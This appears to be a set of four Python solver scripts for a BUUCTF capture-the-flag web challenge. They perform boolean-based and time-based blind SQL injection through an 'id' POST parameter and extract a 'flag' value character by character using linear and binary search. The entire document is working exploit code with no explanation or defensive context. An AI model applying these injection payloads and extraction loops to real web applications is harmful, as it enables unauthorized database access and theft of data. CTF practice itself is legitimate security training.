import requests
import string
url="http://e57aa3be-d1dc-4ed4-a3a2-35878118c101.node5.buuoj.cn:81/index.php"
flag=""
for i in range(1,100):
    for j in string.ascii_letters+string.digits+string.punctuation:
        data={
                "id":"if(substr((select(flag)from(flag)),{},1)='{}',1,0)".format(i,j)
            }
        r=requests.post(url,data=data)
        if "Hello" in r.text:
            flag+=j
            print(flag)
            continue
        else:
            pass

import requests

url="http://e57aa3be-d1dc-4ed4-a3a2-35878118c101.node5.buuoj.cn:81/index.php"
# select=""
result=""
for i in range(1,100):
    left=32
    right=127
    mid=(left+right)//2
    while left<right:
        data={"id":f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0)"}
        r=requests.post(url,data=data)
        if "Hello" in r.text:
            left=mid+1
        else:
            right=mid
        mid=(left+right)//2
    result+=chr(left)
    print(result)

import requests
import string
url="http://47b3e9b9-1cba-42c3-9231-d5131f3a8df1.node5.buuoj.cn:81/index"
flag=""

for i in range(1,100):
    for j in string.ascii_letters+string.digits+string.punctuation:
        try:
            data={'id':f"if(substr((select(flag)from(flag)),{i},1)='{j}',sleep(2),0)"}
            r=requests.post(url=url,data=data,timeout=2)
        except:
            flag+=j
            print(flag)
            continue

import requests
import string
url="http://47b3e9b9-1cba-42c3-9231-d5131f3a8df1.node5.buuoj.cn:81/index"
flag=""

for i in range(1,100):
    left=32
    right=127
    mid=(left+right)//2
    while left<right:
        try:
            data={"id":f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},0,sleep(2))"}
            r=requests.post(url=url,data=data,timeout=2)
            left=mid+1
        except:
            right=mid
        mid=(left+right)//2
    flag+=chr(left)
    print(flag)